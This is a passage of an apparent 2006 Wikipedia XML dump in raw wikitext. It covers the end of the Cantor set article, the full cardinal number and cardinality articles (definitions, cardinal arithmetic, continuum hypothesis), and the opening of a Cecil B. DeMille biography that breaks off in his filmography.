As a [[topological space]], the Cantor set is [[homeomorphism|homeomorphic]] to the [[product topology|product]] of [[countable|countably many]] copies of the space {0, 1},
where each copy carries the [[discrete space|discrete topology]], as can easily be shown using the ternary expansion used to prove its uncountability. The [[basis (topology)|basis]] for the open sets of the product topology are the [[cylinder set]]s; the homeomorphism maps these to the [[subspace topology]] that the Cantor set inherits from the natural topology on the real number line.

The Cantor set is a [[homogeneous space]] in the sense that for any two points ''x'' and ''y'' in the Cantor set ''C'', there exists a homeomorphism ''f'' : ''C'' &amp;rarr; ''C'' with ''f''(''x'') = ''y''.  

The Cantor set is also homeomorphic to the [[p-adic numbers|p-adic integers]], and, if one point is removed from it, to the p-adic numbers. 

The Cantor set can be characterized by these properties: every nonempty totally-disconnected perfect compact metric space is homeomorphic to the Cantor set. See [[Cantor space]] for more on spaces homeomorphic to the Cantor set.

The Cantor set is &quot;universal in the [[Category theory|category]] of compact metric spaces&quot;. This means that any compact metric space is a continuous image of the Cantor set. This fact has important applications in [[functional analysis]].

== Variants of the Cantor set ==
:''See main article [[Smith-Volterra-Cantor set]]''.

Instead of repeatedly removing the middle third of every piece as in the Cantor set, we could also keep removing any other fixed percentage (other than 0% and 100%) from the middle. The resulting sets are all homeomorphic to the Cantor set and also have Lebesgue measure 0.  In the case where the middle 8/10 of the interval is removed, we get a remarkably accessible case &amp;mdash; the set consists of all numbers in [0,1] that can be written as a decimal consisting entirely of 0's and 9's.

By removing progressively smaller percentages of the remaining pieces in every step, one can also construct sets homeomorphic to the Cantor set that have positive Lebesgue measure, while still being [[nowhere dense]].

==Historical remarks==

This set would have been considered abstract at the time when Cantor devised it. Cantor himself was led to it by practical concerns about the set of points where a [[Fourier series|trigonometric series]] might fail to converge. The discovery did much to set him on the course for developing an [[axiomatic set theory|abstract, general theory of infinite sets]].

== See also ==
*[[Cantor function]]
*[[Cantor space]]
* The Cantor set is the set of all points on the [[Koch curve]] that intersect the original horizontal line segment.
* One of the simplest [[Iterated function system]]s generates the Cantor set.
* The Cantor set, like [[Cantor dust]], is a kind of [[fractal dust]].
* The [[Horseshoe map|Smale horseshoe map]] has an invariant set that is the Cartesian product of a Cantor set with itself.
&lt;!--''(is [[fractal dust]] the same as a [[Fatou set]] ???)''--&gt;

==Historical references==
* Georg Cantor, ''On the Power of Perfect Sets of Points'' (''De la puissance des ensembles parfait de points''), Acta Mathematica 2 (1884) English translation reprinted in ''Classics on Fractals'', ed. Gerald A. Edgar, Addison-Wesley (1993) ISBN 0-201-58701-7

==Modern references==
* Lynn Arthur Steen and J. Arthur Seebach, Jr., ''[[Counterexamples in Topology]]''. Springer-Verlag, New York, 1978. Reprinted by Dover Publications, New York, 1995. ISBN 0-486-68735-X (Dover edition). ''(See example 29)''.

==External links==

* [http://www.cut-the-knot.org/do_you_know/Cantor2.shtml Cantor Sets] at [[cut-the-knot]]
* [http://www.cut-the-knot.org/do_you_know/cantor.shtml Cantor Set and Function] at [[cut-the-knot]]

[[Category:Set theory]]
[[Category:Topological spaces]]
[[Category:Fractals]]

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      <text xml:space="preserve">In [[linguistics]], '''cardinal numbers''' is the name given to number words that are used for quantity (''one'', ''two'', ''three''), as opposed to [[ordinal number]]s, words that are used for order (''first'', ''second'', ''third'').  See ''[[names of numbers in English]]''. 
----
[[Image:Aleph0.png|thumb|right|150px|Aleph-0, the smallest infinite cardinal]]
In [[mathematics]], '''cardinal numbers''', or '''cardinals''' for short, are a generalized kind of [[number]] used to denote the size of a [[set]]. While for finite sets the size is given by a [[natural number]] - the number of elements - cardinal numbers ([[cardinality]]) can also classify degrees of [[infinity]]. On one hand, a proper subset ''A'' of an infinite set ''S'' may have the same cardinality as ''S''. On the other hand, perhaps also counterintuitively, not all infinite objects are of the same size. There is a formal characterization of how some infinite objects are strictly smaller than other infinite objects.

Concepts of cardinality are embedded in most branches of mathematics and are essential to their study. Cardinality is also an area studied for its own sake as part of [[set theory]], particularly in trying to describe the properties of [[large cardinal|large cardinals]].

==History==
The cardinal numbers were invented by [[Georg Cantor]], when he was developing the set theory now called [[naive set theory]] in [[1874]]&amp;ndash;[[1884]].

He first established cardinality as an instrument to compare finite sets; e.g. the sets {1,2,3} and {2,3,4} are not ''equal'', but have the ''same cardinality'', namely three.

Cantor invented the [[bijection|one-to-one correspondence]], which easily showed that two finite sets had the same cardinality if there was a one-to-one correspondence between the members of the set. Using this one-to-one correspondence, he transferred the concept to infinite sets; i.e the set of natural numbers '''N''' = {1, 2, 3, ...}. He called these cardinal numbers [[transfinite cardinal numbers]], and defined all sets that had a one-to-one correspondence with '''N''' to be [[Countable set|denumerably infinite set]]s.

Naming this cardinal number &lt;math&gt;\aleph_0&lt;/math&gt;, [[Aleph number|aleph-null]], Cantor proved that many subsets of '''N''' have the same cardinality as '''N''', even if this might be against intuition at first. He also proved that the set of all [[ordered pair]]s of natural numbers is denumerably infinite, and later that the set of all [[algebraic number]]s (every member of the set is a set of numbers of its own &lt;math&gt;(a_0, a_1, ..., a_n),\;\; a_i \in \mathbb{N}&lt;/math&gt;, like an extended ordered pair) is denumerably infinite.

At this point, in 1874, there was a curiosity whether ''all infinite sets'' are denumerably infinite, and what the use would be in that case.

But, later that year, Cantor succeeded in proving that there were higher-order cardinal numbers using the ingenious but simple [[Cantor's diagonal argument]]. This new cardinal number, called the [[cardinality of the continuum]], was termed ''c'' by Cantor.

Cantor also developed a lot of the general theory of cardinal numbers; he proved that there is a transfinite cardinal number that is the smallest (&lt;math&gt;\aleph_0&lt;/math&gt;, aleph-null) and that for every cardinal number, there is a next-larger cardinal (&lt;math&gt;\aleph_1, \aleph_2, \aleph_3, \cdots&lt;/math&gt;).

The later [[continuum hypothesis]] suggests that ''c'' is the same as &lt;math&gt;\aleph_1&lt;/math&gt;, but this has been found to be independent of the standard axioms of mathematical set theory; it can neither be proved nor disproved under the standard assumptions.

== Motivation ==
In informal use, a '''cardinal number''' is what is normally referred to as a '''counting number'''. They may be identified with the [[natural numbers]] beginning with 0 (i.e. 0, 1, 2, ...).
The counting numbers are exactly what can be defined formally as the [[finite]] cardinal numbers.  Infinite cardinals only occur in higher-level mathematics and logic. 

More formally, a non-zero number can be used for two purposes: to describe the size of a set, or to describe the position of an element in a sequence.  For finite sets and sequences it is easy to see that these two notions co-incide, since for every number describing a position in a sequence we can construct a set which has exactly the right size, e.g. 3 describes the position of 'c' in the sequence &lt;'a','b','c','d',...&gt;, and we can construct the set {a,b,c} which has 3 elements.  However when dealing with [[infinite set]]s it is essential to distinguish between the two &amp;mdash; the two notions are in fact different for infinite sets. Considering the position aspect leads to [[ordinal number]]s, while the size aspect is generalized by the '''cardinal numbers''' described here.

The intuition behind the formal definition of cardinal is the construction of a notion of the relative size or &quot;bigness&quot; of a set without reference to the kind of members which it has.  For finite sets this is easy; one simply counts the number of elements a set has.  In order to compare the sizes of larger sets, it is necessary to appeal to more subtle notions.

A set ''Y'' is at least as big as, or greater than or equal to a set ''X'' if there is an [[injective function|injective]] (one-to-one) [[map (mathematics)|mapping]] from the elements of ''X'' to the elements of ''Y''. A one-to-one mapping identifies each element of the set ''X'' with a unique element of the set ''Y''. This is most easily understood by an example; suppose we have the sets ''X'' = {1,2,3} and ''Y'' = {a,b,c,d}, then using this notion of size we would observe that there is a mapping:
: 1 &amp;rarr; a
: 2 &amp;rarr; b
: 3 &amp;rarr; c
which is one-to-one, and hence conclude that ''Y'' has cardinality greater than or equal to ''X''. Note the element d has no element mapping to it, but this is permitted as we only require a one-to-one mapping, and not necessarily a one-to-one and [[onto]] mapping. The advantage of this notion is that it can be extended to infinite sets.

We can then extend this to an equality-style relation.
Two [[set|sets]] ''X'' and ''Y'' are said to have the same '''cardinality''' if there exists a [[bijection]] between ''X'' and ''Y''.  By the [[Schroeder-Bernstein theorem]], this is equivalent to there being ''both'' a one-to-one mapping from ''X'' to ''Y'' ''and'' a one-to-one mapping from ''Y'' to ''X''.  
We then write |&amp;nbsp;''X''&amp;nbsp;| = |&amp;nbsp;''Y''&amp;nbsp;|. The cardinal number of ''X'' itself is often defined as the least [[ordinal number|ordinal]] ''a'' with |&amp;nbsp;''a''&amp;nbsp;| = |&amp;nbsp;''X''&amp;nbsp;|.  This is called the [[von Neumann cardinal assignment]]; for this definition to make sense, it must be proved that every set has the same cardinality as ''some'' ordinal; this statement is the [[well-ordering principle]]. It is however possible to discuss the relative cardinality of sets without explicitly assigning names to objects.

The classic example used is that of the infinite hotel paradox, also called [[Hilbert's paradox of the Grand Hotel]].  Suppose you are an innkeeper at a hotel with an infinite number of rooms. The hotel is full, and then a new guest arrives.  It's possible to fit the extra guest in by asking the guest who was in room 1 to move to room 2, the guest in room 2 to move to room 3, and so on, leaving room 1 vacant.  We can explicity write a segment of this mapping:
: 1 &amp;harr; 2
: 2 &amp;harr; 3
: 3 &amp;harr; 4
: ...
: n &amp;harr; n+1
: ...
In this way we can see that the set {1,2,3,...} has the same cardinality as the set {2,3,4,...} since a bijection between the first and the second has been shown.  This motivates the definition of an infinite set being any set which has a proper subset of the same cardinality; in this case {2,3,4,...} is a proper subset of {1,2,3,...}.

When considering these large objects, we might also want to see if the notion of counting order coincides with that of cardinal defined above for these infinite sets.  It happens that it doesn't; by considering the above example we can see that if some object &quot;one greater than infinity&quot; exists, then it must have the same cardinality as the infinite set we started out with. It is possible to use a different formal notion for number, called [[ordinal|ordinals]], based on the ideas of counting and considering each number in turn, and we discover that the notions of cardinality and ordinality are divergent once we move out of the finite numbers.

It can be proved that the cardinality of the [[real number|real numbers]] is greater than that of the natural numbers just described.  This can be visualized using [[Cantor's diagonal argument]]; 
classic questions of cardinality (for instance the [[continuum hypothesis]]) are concerned with discovering whether there is some cardinal between some pair of other infinite cardinals.  In more recent times mathematicians have been describing the properties of larger and larger cardinals.

Since cardinality is such a common concept in mathematics, a variety of names are in use.  Sameness of cardinality is sometimes referred to as '''equipotence''', '''equipollence''', or '''equinumerosity'''. It is thus said that two sets with the same cardinality are, respectively, '''equipotent''', '''equipollent''', or '''equinumerous'''.

== Formal definition ==
Formally, the order among cardinal numbers is defined as follows: |&amp;nbsp;''X''&amp;nbsp;| &amp;le; |&amp;nbsp;''Y''&amp;nbsp;| means that there exists an [[injective]] function from ''X'' to ''Y''. The [[Cantor–Bernstein–Schroeder theorem]] states that if |&amp;nbsp;''X''&amp;nbsp;| &amp;le; |&amp;nbsp;''Y''&amp;nbsp;| and |&amp;nbsp;''Y''&amp;nbsp;| &amp;le; |&amp;nbsp;''X''&amp;nbsp;| then |&amp;nbsp;''X''&amp;nbsp;| = |&amp;nbsp;''Y''&amp;nbsp;|. The [[axiom of choice]] is equivalent to the statement that given two sets ''X'' and ''Y'', either |&amp;nbsp;''X''&amp;nbsp;| &amp;le; |&amp;nbsp;''Y''&amp;nbsp;| or |&amp;nbsp;''Y''&amp;nbsp;| &amp;le; |&amp;nbsp;''X''&amp;nbsp;|.

Formally, assuming the axiom of choice, cardinality of a set ''X'' is the least ordinal &amp;alpha; such that there is a bijection between ''X'' and &amp;alpha;.  This definition is known as the [[von Neumann cardinal assignment]].  If the axiom of choice is not assumed we need to do something different.  The oldest definition of the cardinality of a set ''X'' (implicit in Cantor and explicit in Frege and [[Principia Mathematica]]) is as the set of all sets which are equinumerous with ''X'':  this does not work in [[ZFC]] or other related systems of [[axiomatic set theory]] because this collection is too large to be a set, but it does work in [[type theory]] and in [[New Foundations]] and related systems.  However, if we restrict from this class to those equinumerous with ''X'' that have the least [[rank (set theory)|rank]], then it will work (this is a trick due to [[Dana Scott]]:  it works because the collection of objects with any given rank is a set).

A set ''X'' is [[Dedekind-infinite]] if there exists a [[proper subset]] ''Y'' of ''X'' with |&amp;nbsp;''X''&amp;nbsp;| = |&amp;nbsp;''Y''&amp;nbsp;|, and [[Dedekind-finite]] if such a subset doesn't exist.  The [[finite]] cardinals are just the [[natural numbers]], i.e., a set ''X'' is finite if and only if |&amp;nbsp;''X''&amp;nbsp;| = |&amp;nbsp;''n''&amp;nbsp;| = ''n'' for some natural number ''n''.  Any other set is [[infinite]].  Assuming the axiom of choice, it can be proved that the Dedekind notions correspond to the standard ones. It can also be proved that the cardinal ℵ&lt;sub&gt;0&lt;/sub&gt; (aleph-0, where aleph is the first letter in the [[Hebrew alphabet]], represented ℵ) of the set of natural numbers is the smallest infinite cardinal, i.e., that any infinite set admits a subset of cardinality ℵ&lt;sub&gt;0&lt;/sub&gt;.  The next larger cardinal is denoted by ℵ&lt;sub&gt;1&lt;/sub&gt; and so on. For every [[ordinal]] ''a'' there is a cardinal number ℵ&lt;sub&gt;''a''&lt;/sub&gt;, and this list exhausts all cardinal numbers.

==Cardinal arithmetic==
We can define [[arithmetic]] operations on cardinal numbers that generalize the ordinary operations for natural numbers. If ''X'' and ''Y'' are [[disjoint]], addition is given by the [[union (set theory)|union]] of ''X'' and ''Y''
:|''X''| + |''Y''| = |''X'' &amp;cup; ''Y''|
The product of cardinals by the [[cartesian product]]
:|''X''| |''Y''| = |''X'' &amp;times; ''Y''|
Exponentiation is given by
:|''X''|&lt;sup&gt;|''Y''|&lt;/sup&gt; = |''X''&lt;sup&gt;''Y''&lt;/sup&gt;|
where ''X''&lt;sup&gt;''Y''&lt;/sup&gt; is defined as the set of all [[function (mathematics)|function]]s from ''Y'' to ''X''. It can be shown that for finite cardinals these operations coincide with the usual operations for natural numbers. Furthermore, these operations share many properties with ordinary arithmetic:

* addition and multiplication of cardinal numbers is [[associative]] and [[commutative]]
* multiplication [[distributivity|distributes]] over addition
* |''X''|&lt;sup&gt;|''Y''| + |''Z''|&lt;/sup&gt; = |''X''|&lt;sup&gt;|''Y''|&lt;/sup&gt; |''X''|&lt;sup&gt;|''Z''|&lt;/sup&gt;
* |''X''|&lt;sup&gt;|''Y''| |''Z''|&lt;/sup&gt; = (|''X''|&lt;sup&gt;|''Y''|&lt;/sup&gt;)&lt;sup&gt;|''Z''|&lt;/sup&gt;
* (|''X''||''Y''|)&lt;sup&gt;|''Z''|&lt;/sup&gt; = |''X''|&lt;sup&gt;|''Z''|&lt;/sup&gt; |''Y''|&lt;sup&gt;|''Z''|&lt;/sup&gt;

The addition and multiplication of infinite cardinal numbers  (assuming the axiom of choice) is easy: if ''X'' or ''Y'' is infinite and both are non-empty, then

:|''X''| + |''Y''| = |''X''||''Y''| = max{|''X''|, |''Y''|}. 

Note that 2&lt;sup&gt;|&amp;nbsp;''X''&amp;nbsp;|&lt;/sup&gt; is the cardinality of the [[power set]] of the set ''X'' and [[Cantor's diagonal argument]] shows that 2&lt;sup&gt;|&amp;nbsp;''X''&amp;nbsp;|&lt;/sup&gt; &gt; |&amp;nbsp;''X''&amp;nbsp;| for any set ''X''. This proves that there exists no largest cardinal. In fact, the [[class (set theory)|class]] of cardinals is a [[proper class]].

Further rules for exponentiation are as follows:
*|''X''|&lt;sup&gt;0&lt;/sup&gt; = 1  (in particular 0&lt;sup&gt;0&lt;/sup&gt; = 1), see [[empty function]]
*0&lt;sup&gt;|''Y''|&lt;/sup&gt; = 0 if ''Y'' is not empty
*1&lt;sup&gt;|''Y''|&lt;/sup&gt; = 1
*|''X''| &amp;le; |''Y''| implies that |''X''|&lt;sup&gt;|''Z''|&lt;/sup&gt; &amp;le; |''Y''|&lt;sup&gt;|''Z''|&lt;/sup&gt;
*if |''X''| and |''Y''| are both finite and greater than 1, and ''Z'' is infinite, then |''X''|&lt;sup&gt;|''Z''|&lt;/sup&gt; = |''Y''|&lt;sup&gt;|''Z''|&lt;/sup&gt;
*if ''X'' is infinite and ''Y'' is finite and non-empty then |''X''|&lt;sup&gt;|''Y''|&lt;/sup&gt; = |''X''|.

=== Successor cardinal ===
{{main|Successor cardinal}}

Every cardinal κ has a successor κ&lt;sup&gt;+&lt;/sup&gt;, and there are no cardinals between κ and its successor.  For finite cardinals, the successor is simply κ+1.  For infinite cardinals, the successor cardinal differs from the [[successor ordinal]].

==The continuum hypothesis==
The [[continuum hypothesis]] (CH) states that there are no cardinals strictly between &lt;math&gt;\aleph_0&lt;/math&gt; and &lt;math&gt;2^{\aleph_0}&lt;/math&gt;.
The latter cardinal number is also often denoted by ''c''; it is the [[cardinality of the continuum]] (the set of [[real number]]s). In this case &lt;math&gt;2^{\aleph_0} = \aleph_1&lt;/math&gt;. The [[generalized continuum hypothesis]] (GCH)
states that for every infinite set ''X'', there are no cardinals strictly between |&amp;nbsp;''X''&amp;nbsp;| and 2&lt;sup&gt;|&amp;nbsp;''X''&amp;nbsp;|&lt;/sup&gt;.
The continuum hypothesis is independent from the usual axioms of set theory,
the Zermelo-Fraenkel axioms together with the axiom of choice ([[Zermelo-Fraenkel set theory|ZFC]]).

==See also==
* [[large cardinal]]
* [[Nominal number]]
* [[Ordinal number]]
* [[Serial number]]
* [[Cantor's paradox|The paradox of the greatest cardinal]]

==References==
*Hahn, Hans, ''Infinity'', Part IX, Chapter 2, Volume 3 of ''The World of Mathematics''. New York: Simon and Schuster, 1956.
*[[Paul Halmos|Halmos, Paul]], ''[[Naive Set Theory (book)|Naive set theory]]''. Princeton, NJ: D. Van Nostrand Company, 1960. Reprinted by Springer-Verlag, New York, 1974. ISBN 0-387-90092-6 (Springer-Verlag edition).

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[[Category:Set theory]]

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[[ru:&amp;#1052;&amp;#1086;&amp;#1097;&amp;#1085;&amp;#1086;&amp;#1089;&amp;#1090;&amp;#1100; &amp;#1084;&amp;#1085;&amp;#1086;&amp;#1078;&amp;#1077;&amp;#1089;&amp;#1090;&amp;#1074;&amp;#1072;]]
[[sl:kardinalno &amp;#353;tevilo]]
[[sv:Kardinaltal]]
[[zh:&amp;#22522;&amp;#25976;]]</text>
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  </page>
  <page>
    <title>Cardinality</title>
    <id>6174</id>
    <revision>
      <id>40148704</id>
      <timestamp>2006-02-18T14:39:35Z</timestamp>
      <contributor>
        <username>Goetz</username>
        <id>420622</id>
      </contributor>
      <minor />
      <comment>added link to german wikipedia</comment>
      <text xml:space="preserve">In [[mathematics]], the '''cardinality''' of a [[set (mathematics)|set]] is a measure of the &quot;number of elements of the set&quot;. There are two approaches to cardinality &amp;ndash; one which compares sets directly using [[bijection, injection and surjection|bijections, injections, and surjections]], and another which uses [[cardinal number]]s.

==Comparing sets==
We say that two sets ''A'' and ''B'' have the same cardinality if there exists a [[bijection]], i.e. an [[injection|injective]] and [[surjection|surjective]] [[function (mathematics)|function]], from ''A'' to ''B''. For example, the set ''E'' = {2, 4, 6, ...} of [[negative and non-negative numbers|positive]] [[even number]]s has the same cardinality as the set '''N''' = {1, 2, 3, ...} of [[natural numbers]], since the function ''f''(''n'') = 2''n'' is a bijection from '''N''' to ''E''.

We say that a set ''A'' has cardinality greater than or equal to the cardinality of ''B'' (and ''B'' has cardinality less than or equal to the cardinality of ''A'') if there exists an injective function from ''B'' into ''A''. We say that ''A'' has cardinality strictly greater than the cardinality of ''B'' if ''A'' has cardinality greater than or equal to the cardinality of ''B'', but ''A'' and ''B'' do not have the same cardinality, i.e. if there is an injective function from ''B'' to ''A'' but no bijective function from ''A'' to ''B''. For example, the set '''R''' of all [[real number|real numbers]] has cardinality strictly greater than the cardinality of the set '''N''' of all natural numbers, because the inclusion map ''i'' : '''N''' &amp;rarr; '''R''' is injective, but it can be shown that there does not exist a bijective function from '''N''' to '''R'''.

==Countable and uncountable sets==
Assuming the [[axiom of choice]] holds, the [[trichotomy|law of trichotomy]] holds for cardinality, so we have the following definitions.

*Any set with cardinality less than that of the [[natural number]]s is said to be a [[finite]] set.
*Any set that has the same cardinality as the set of the [[natural numbers]] is said to be a [[countable|countably infinite]] set.
*Any set with cardinality greater than that of the natural numbers is said to be [[uncountable]].  

==Cardinal numbers==
{{main|Cardinal number}}

Note that, up until this point, we have only defined the term &quot;cardinality&quot; in a strictly functional role: we have not actually defined the &quot;cardinality&quot; of a set as a specified object itself. We now outline such an approach.

The relation of having the same cardinality is called [[equinumerosity]], and this is an [[equivalence relation]] on the [[class (set theory)|class]] of all sets. The [[equivalence class]] of a set ''A'' under this relation then consists of all those sets which have the same cardinality as ''A''. There are then two main approaches to the definition of &quot;cardinality of a set&quot;:

#The cardinality of a set ''A'' is defined as its equivalence class under equinumerosity.
#A particular class of representatives of the equivalence classes is specified. The most common choice is the [[Von Neumann cardinal assignment]]. This is usually taken as the definition of [[cardinal number]] in [[axiomatic set theory]].

Cardinality of [[set (mathematics)|set]] &lt;math&gt;S&lt;/math&gt; is denoted &lt;math&gt;|S|&lt;/math&gt;. Cardinality of its [[power set]] is denoted &lt;math&gt;2^{|S|}&lt;/math&gt;.

Cardinalities of the infinite sets are denoted &lt;math&gt;\aleph_0 &lt; \aleph_1 &lt; \aleph_2 &lt; ... &lt;/math&gt; (for each [[ordinal]] &lt;math&gt;\alpha&lt;/math&gt;,  &lt;math&gt;\aleph_{\alpha+1}&lt;/math&gt; is the first cardinality greater than &lt;math&gt;\aleph_\alpha&lt;/math&gt;).

The cardinality of the [[natural numbers]] is denoted [[Aleph number|aleph-null]] (&lt;math&gt;{\aleph_0}&lt;/math&gt;), while the cardinality of the [[real numbers]] is denoted &lt;math&gt;\mathbf{c}&lt;/math&gt;. It can be shown that &lt;math&gt;\mathbf{c} = 2^{\aleph_0} &gt; {\aleph_0}&lt;/math&gt;. (see: [[Cantor's diagonal argument]]). The [[continuum hypothesis]] states that there is no [[cardinal number]] between the cardinality of the reals and the cardinality of the natural numbers, and so &lt;math&gt;\mathbf{c} = \aleph_1&lt;/math&gt;.

==Examples and other properties==
* If, for instance, set &lt;math&gt;X&lt;/math&gt; is defined as &lt;code&gt;&lt;math&gt;X&lt;/math&gt; = {a, b, c}&lt;/code&gt;, and set &lt;math&gt;Y&lt;/math&gt; is defined as &lt;code&gt;&lt;math&gt;Y&lt;/math&gt; = {apples, oranges, peaches}&lt;/code&gt;, then &lt;math&gt;|X| = |Y|&lt;/math&gt; because they both have three elements.  

* If for two sets &lt;math&gt;X&lt;/math&gt; and &lt;math&gt;Y&lt;/math&gt;, &lt;math&gt;|X|&lt;/math&gt; &amp;le; &lt;math&gt;|Y|&lt;/math&gt;, then there exists a set &lt;math&gt;Z&lt;/math&gt; as a [[subset]] of &lt;math&gt;Y&lt;/math&gt; such that &lt;math&gt;|X| = |Z|&lt;/math&gt;.  

Such a property allows for the comparison of how many elements are contained in two or more sets without resorting to an intermediate set (''viz''. the natural numbers). 

* Within the realm of uncountable sets, there exists a class of sets &lt;math&gt;Y&lt;/math&gt; such that &lt;math&gt;|Y| = \mathbf{c}&lt;/math&gt; (cardinality of set of real numbers).  Such sets are said to have &quot;[[cardinality of the continuum]].&quot; 

* It can be proved that there exists no set &lt;math&gt;X&lt;/math&gt; such that for any set &lt;math&gt;Y&lt;/math&gt;, &lt;math&gt;|Y|&lt;/math&gt; &amp;le; &lt;math&gt;|X|&lt;/math&gt;.  

'''Proof'''. Assume there exists such a set, call it &lt;math&gt;X&lt;/math&gt;. Then let Y be the [[power set]] of &lt;math&gt;X&lt;/math&gt;, &lt;math&gt;|Y| = 2^{|X|}&lt;/math&gt;, from which the contradiction &lt;math&gt;|Y| &gt; |X|&lt;/math&gt; follows.

==See also==
* [[Cardinal number]]
* [[Continuum hypothesis]] 
* [[Aleph number]]

[[Category:Set theory]]

[[de:Kardinalität]]
[[fr:Cardinalité]]
[[is:Fjöldatölur]]
[[it:Cardinalità]]
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[[zh:基数]]</text>
    </revision>
  </page>
  <page>
    <title>Cecil B. DeMille</title>
    <id>6176</id>
    <revision>
      <id>42072717</id>
      <timestamp>2006-03-03T17:08:32Z</timestamp>
      <contributor>
        <username>Zoicon5</username>
        <id>15789</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Robert Preston]] to [[Robert Preston (actor)]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Cecil Blount DeMille''' ([[August 12]], [[1881]] - [[January 21]], [[1959]]) was one of the most successful [[film]]makers during the first half of the [[20th century]].

Born in [[Ashfield, Massachusetts]] to a [[Netherlands|Dutch]] father who was a lay [[Episcopalian]] minister and a [[Sephardic]] [[Jewish]] mother who was born in [[England]], DeMille directed hundreds of [[silent film|silent]] films, including [[Paramount Pictures]]' first production: ''[[The Squaw Man]]'' ([[1914]]), before coming into huge popularity during the late [[1910s]] and early [[1920s]], when he reached the apex of his popularity with such films as ''Don't Change Your Husband'' ([[1919]]), ''[[The Ten Commandments (1923 film)|The Ten Commandments]]'' ([[1923]]), and ''[[The King of Kings]]'' ([[1927]]).  Though most commonly referred to by the press as DeMille with a capital &quot;D&quot;, DeMille preferred and even signed his checks as &quot;deMille&quot; with a small &quot;d&quot;.  DeMille's business address for most of his career was 2010 DeMille (capital &quot;D&quot;) Drive, [[Hollywood, California]] (which is actually in the adjacent [[Los Angeles]] neighborhood of [[Los Feliz, Los Angeles, California|Los Feliz]]).  In either case, the persona of the larger than life showman was reinforced by such affectations and his status as an icon thrived.

Cecil B. DeMille had a keen eye for talent and was known for being an instrumental catalyst for the rising status of many a previously young, struggling, or unknown actor. Actor [[Richard Dix]]'s best-remembered early role was in the silent version of Demille's ''[[The Ten Commandments (1923 movie)|The Ten Commandments]]''. [[Richard Cromwell (actor)|Richard Cromwell]] owed his 1930s movie fame in part to being personally selected by DeMille for the role as the leader of the youth gang in Demille's poignant, now cult-favorite, ''[[This Day and Age]]'' (1933).

DeMille displayed a loyalty to certain supporting performers, casting them over and over in his pictures. They included [[Henry Wilcoxen]], [[Julia Faye]], [[Joseph Schildkraut]], [[Ian Keith]], [[Charles Bickford]], [[Theodore Roberts]], [[Akim Tamiroff]], and [[William Boyd (actor)|William Boyd]]. He also cast leading actors such as [[Claudette Colbert]], [[Gloria Swanson]], [[Gary Cooper]], [[Jetta Goudal]], [[Robert Preston (actor)|Robert Preston]], [[Paulette Goddard]], and [[Charlton Heston]] in multiple pictures. He was not known as a particularly good director, often hiring actors whom he relied on to develop their own characters and act accordingly. He was, however, adept at directing &quot;thousands of extras,&quot; and many of his pictures include spectacular set pieces, including the parting of the [[Red Sea]] in both versions of ''The Ten Commandments'', the toppling of the pagan temple in ''[[Samson and Delilah (movie)|Samson and Delilah]]'', train wrecks in ''[[Union Pacific (movie)|Union Pacific]]'' and ''[[The Greatest Show on Earth]]'' and the destruction of a zeppelin in ''[[Madam Satan]]''. He knew what the movie-going public wanted, and gave it to them over and over.

DeMille was one of the first directors in Hollywood to become a celebrity in his own right, performing as himself, long before the likes of [[Erich von Stroheim]] and [[Alfred Hitchcock]] made it fashionable.  From [[1936]] to [[1944]], DeMille hosted and even acted as pitchman for Cecil B. DeMille's ''Lux Radio Theater'', which was one of the most popular dramatic [[radio]] shows at the time. Gloria Swanson immortalized DeMille with the oft-repeated line, &quot;All right, Mr. DeMille, I'm ready for my close-up&quot; in [[Billy Wilder]]'s ''[[Sunset Boulevard (film)|Sunset Boulevard]],'' wherein DeMille played himself.

While he continued to be prolific throughout the [[1930s]] and [[1940s]], he is probably best known for his [[1956]] film ''[[The Ten Commandments (1956 movie)|The Ten Commandments]]'' (which is very different from his [[1923]] film by the same title).  Also representative of his penchant for the spectacular was the [[1952]] production of ''[[The Greatest Show on Earth]]'' which gave deMille an [[Academy_award|Oscar]] for best picture and a nomination for best director.

During on location filming in Egypt of the exodus sequence for 1956's &quot;The Ten Commandments,&quot; the then 73 year-old DeMille climbed a 107 foot ladder to the top of the massive Per Rameses set and suffered a near fatal heart attack.  Miraculously, aided by his daughter, Cecilia, but against his doctor's orders, he was back directing the film within a week.

Cecil B. Demille died of heart failure in 1959 and was interred in the [[Hollywood Forever Cemetery]] in [[Hollywood, California]]. At the time of his death, he was negotiating to direct the remake of ''[[Ben-Hur (1959 film)|Ben-Hur]]'' for [[MGM]], and was planning to direct a movie about space travel. 

==Trivia==
*Cecil B. DeMille inspired the name of the John Waters' movie [[Cecil B. DeMented]] (and of its main character).  In that movie, Cecil B. DeMented is an anarchic film director, shooting in one cut.
*Cecil B. DeMille designed the uniforms for cadets at the [[United States Air Force Academy]].
*Cecil B. DeMille is mentioned in the [[Bob Dylan]] song 'Tombstone Blues,' as well as in the [[Hoodoo Gurus]] song 'On My Street'
*A lesser known fact, regarding DeMille's date of death, is that Cecil DeMille died on exactly the same day as [[Carl Switzer]] who had played &quot;Alfalfa&quot; in the 1930s &quot;[[Our Gang]]&quot; shorts.  Many of Switzer's associates would later claim that this was bad timing and slightly unfair, since Cecil DeMille's [[obituary]] was so lengthy that Switzer's death was allocated very little attention in the media. Coincidentally, Switzer appeared, unbilled, in DeMille's 1956 ''The Ten Commandments.''
*DeMille's niece, [[Agnes de Mille]], was a dancer and choreographer, best known for choreographing the &quot;dream ballet&quot; in ''[[Oklahoma!]]''.

==Legacy Honor==
The film school at [[Chapman University]] in Orange, CA is named in honor of DeMille.

==Filmography (As Director)==
*''[[The Squaw Man]]'' (1914) 
*''[[Brewster's Millions]]'' (1914)  
*''[[The Master Mind]]'' (1914) 
*''[[The Only Son]]'' (1914) 
*''[[The Man on the Box]]'' (1914) 
*''[[The Call of the North]]'' (1914) 
*''[[The Virginian]]'' (1914)
*''[[What's His Name]]'' (1914)
*''[[The Man from Home]]'' (1914)
*''[[Rose of the Rancho]]'' (1914)
*''[[The Ghost Breaker]]'' (1914) 
*''[[The Girl of the Golden West]]'' (1915) 
*''[[After Five]]'' (1915) 
*''[[The Warrens of Virginia]]'' (1915)
*''[[The Unafraid]]'' (1915)
*''[[The Captive (film)]]'' (1915)
*''[[The Wild Goose Chase]]'' (1915)
*''[[The Arab]]'' (1915)
*''[[Chimmie Fadden]]'' (1915)
*''[[Kindling (movie)|Kindling]]'' (1915)
*''[[Carmen]]'' (1915)
*''[[Chimmie Fadden Out West]]'' (1915)
*''[[The Cheat (film)|The Cheat]]'' (1915)
*''[[Temptation (movie)|Temptation]]'' (1915)
